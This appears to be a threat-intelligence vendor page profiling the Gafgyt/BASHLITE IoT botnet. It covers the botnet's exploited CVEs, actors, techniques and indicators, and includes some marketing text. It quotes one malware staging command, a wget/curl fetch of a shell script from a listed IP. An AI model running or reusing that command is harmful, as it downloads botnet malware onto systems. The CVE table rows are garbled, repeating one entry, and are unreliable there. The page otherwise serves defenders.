Loading malware…
Gafgyt, also known as BASHLITE, is a Linux-based botnet malware family first observed in 2014. It primarily compromises routers and other embedded Internet-of-Things devices to conduct distributed denial-of-service (DDoS) attacks. Its source code leaked in 2015, enabling numerous variants and derivatives. Gafgyt code is frequently reused and combined with Mirai code in subsequent IoT botnets.
The family propagates through weak or default credentials and exploitation of vulnerable network-facing services. Analyzed variants implement Telnet scanning and credential brute-forcing, while others incorporate command-injection and remote-code-execution exploits against routers, surveillance equipment, and other embedded systems. Documented targets include Huawei routers affected by CVE-2017-17215 and devices exposing vulnerable WeMo UPnP interfaces. The Gafgyt-derived Hakai variant has exploited D-Link CVE-2015-2051 and vulnerable ThinkPHP installations, while Hoaxcalls has targeted Netlink GPON routers. Infection chains commonly use shell staging scripts to retrieve and execute architecture-specific Linux binaries.
Gafgyt receives commands from command-and-control infrastructure to coordinate attacks. Analyzed BASHLITE variants support TCP, UDP, and acknowledgment floods, amplification attacks, simultaneous attack methods, and routines intended to bypass DDoS mitigation services. Some variants also terminate specified processes and download and execute additional payloads, including cryptocurrency miners and device-bricking malware. These additional functions are variant-dependent rather than universal characteristics of the family.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
21 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Table 1 lists Huawei CVE-2017-17215 as a router command-injection vulnerability, with AV labels gafgyt, ircbot, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists Synology CVE-2017-9554 as a NAS information-leak vulnerability, with AV labels gafgyt, intercepter, minerd, mirai, stealthworker, and xmrig. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists D-Link CVE-2013-7471 as a router command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists Juniper CVE-2015-7756 as a firewall backdoor vulnerability, with AV labels gafgyt and mirai. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists GPON CVE-2018-10562 as a router command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists Zyxel CVE-2017-18368 as a router command-injection vulnerability, with AV labels gafgyt and mirai. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists D-Link CVE-2014-8361 as a router command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
Table 1 lists Zyxel CVE-2016-10372 as a modem command-injection vulnerability, with AV labels gafgyt, mirai, and tsunami. | Huawei CVE-2017-17215 Router CMD Inject MIPS gafgyt, ircbot, mirai, tsunami
CVE-2016-6277 – Netgear RCE via shell metacharacters in the path info to cgi-bin/
In its previous iterations, Bashlite exploited Shellshock to gain a foothold into the vulnerable devices.
CVE-2015-2051 – HNAP SOAPAction-Header Command Execution
A prime example is CVE-2023-1389, a command injection affecting TP-Link Archer AX21 routers, which is part of CISA KEV since 2023 and has been exploited by botnets such as AGoent, Gafgyt, Moobot, Mirai and others.
During routine sandbox hunting analysis, the Uptycs Threat Research team uncovered evidence of an ongoing live campaign exploiting the Log4j vulnerability, which commenced in January 2024.
“Ubiquiti published security advisory SAB-064 on 21 May 2026 addressing CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910. Each vulnerability was assigned a CVSS score of 10.0 and, when chained, could allow an unauthenticated remote attacker to obtain root-level access to affected UniFi systems.”
“A URL that starts with the public prefix /api/auth/validate-sso/ but contains encoded ../ sequences passes the gateway's public check, then decodes into a protected /proxy/<service>/… path and reaches the backend with no authentication.”
CVE-2018-10561 / CVE-2018-10562 — GPON Routers Authentication Bypass and Command Injection vulnerabilities
“That mismatch is CVE-2026-34908 (broken access control) and CVE-2026-34909 (path traversal), the pair Ubiquiti describes in SAB-064.”
Attackers exploit CVE-2021-27137 in vulnerable DD-WRT routers by sending specially crafted SSDP M-SEARCH requests to UDP port 1900. Successful exploitation results in remote code execution and malware deployment.
At that time we found that IP hosting samples of Gafgyt containing an exploit for a recently disclosed SonicWall vulnerability (CVE-2018-9866) affecting older, unsupported versions of SonicWall Global Management System (GMS) (8.1 and older). | The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall’s Global Management System (GMS).
On June 2, 2022, Volexity performed a coordinated disclosure of an under-exploit zero day in Atlassian Confluence, CVE-2022-26134. Since the original disclosure and subsequent publication of various proofs of concept, Barracuda researchers have discovered a large number of attempts to exploit this vulnerability. | First, let’s look at one attempt to deliver the Gafgyt DDoS botnet malware... The attacker is essentially attempting to create a botnet member on any system that can be infected.
Attackers exploit a Langflow remote code execution flaw to drop a stripped-down DDoS payload... the code validation endpoint executes untrusted Python “without proper sandboxing.”... CISA added CVE-2025-3248 to its KEV catalog in May 2025, and GreyNoise has tracked hundreds of exploit source IPs. | Akamai found a new Gafgyt botnet campaign that hijacks AI infrastructure. Attackers exploit a Langflow remote code execution flaw to drop a stripped-down DDoS payload.
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Keksec frequently used Gafgyt source code, which was leaked in 2015 and had infected approximately one million devices by 2016.
Gafgyt_tor share the same origin with the Gafgyt samples described by the keksec group, the core function is still DDoS attacks and scanning.
The original Mirai was consistently tweaked to compete with its “DDoS-as-a-Service” provider rival vDOS and their Gafgyt botnet.
BASHLITE (also known as Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus and LizardStresser) is malware which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS).
28 distinct techniques documented for this family, organized by ATT&CK tactic.
We can see that Keksec launched scans and attacks on targets across the network almost non-stop. Our honeypots see new variants and exploits all the time, with the exception of some occasional breaks. When a new exploit is introduced, the scans increase significantly.
The malware creates cron jobs that execute every 15 minutes... to ensure execution after system reboots.
An attacker can then remotely issue commands ... and download other files to the compromised devices.
Most of the Gafgyt and Tsunami samples we captured were not packed... String encoding... Necro also cryptographically protects the string by first performing character substitution and then doing zip compression.
A very traditional technique on Linux systems is to use random strings to override argv parameters and prctl(PR_SET_NAME,buf) to change the process name and start parameters in order to disguise the process.
Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
Packet sniffing is one of the more favoured features of Keksec, and the code can be seen in all three families. The basic function is to capture TCP traffic after filtering out some specified ports and IPs, and to send the remaining data to the C2.
After persistence is established, C0XMO connects to its command-and-control infrastructure and performs a custom multi-stage handshake.
We found Tor proxy being used to communicate with the C2 in both Gafgyt and Necro.
In Gafgyt Tor proxy is used to talk to the C2 through a built-in proxy list. Up to 173 proxy IPs can be used for a single sample.
wget http://200.150.205.65/8UsA.sh; curl -O http://200.150.205.65/8UsA.sh
576 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
115 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
IoT DDoS botnet family that predates Mirai. The article describes continuing activity through variants and recruitment approaches associated with weak IoT credentials.
Identified as the codebase underlying historical Rebirth/Vulcan samples. Recent Rebirth variants also resemble documented Gafgyt samples, including use of the prctl system call to disguise their process names as /bin/bash.
Mentionné uniquement comme botnet concurrent dont les processus sont supprimés par Masjesu.
A MIPS-based IoT malware family included as one of seven balanced malware-family classes in the proof-of-concept EMBeD benchmark dataset.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.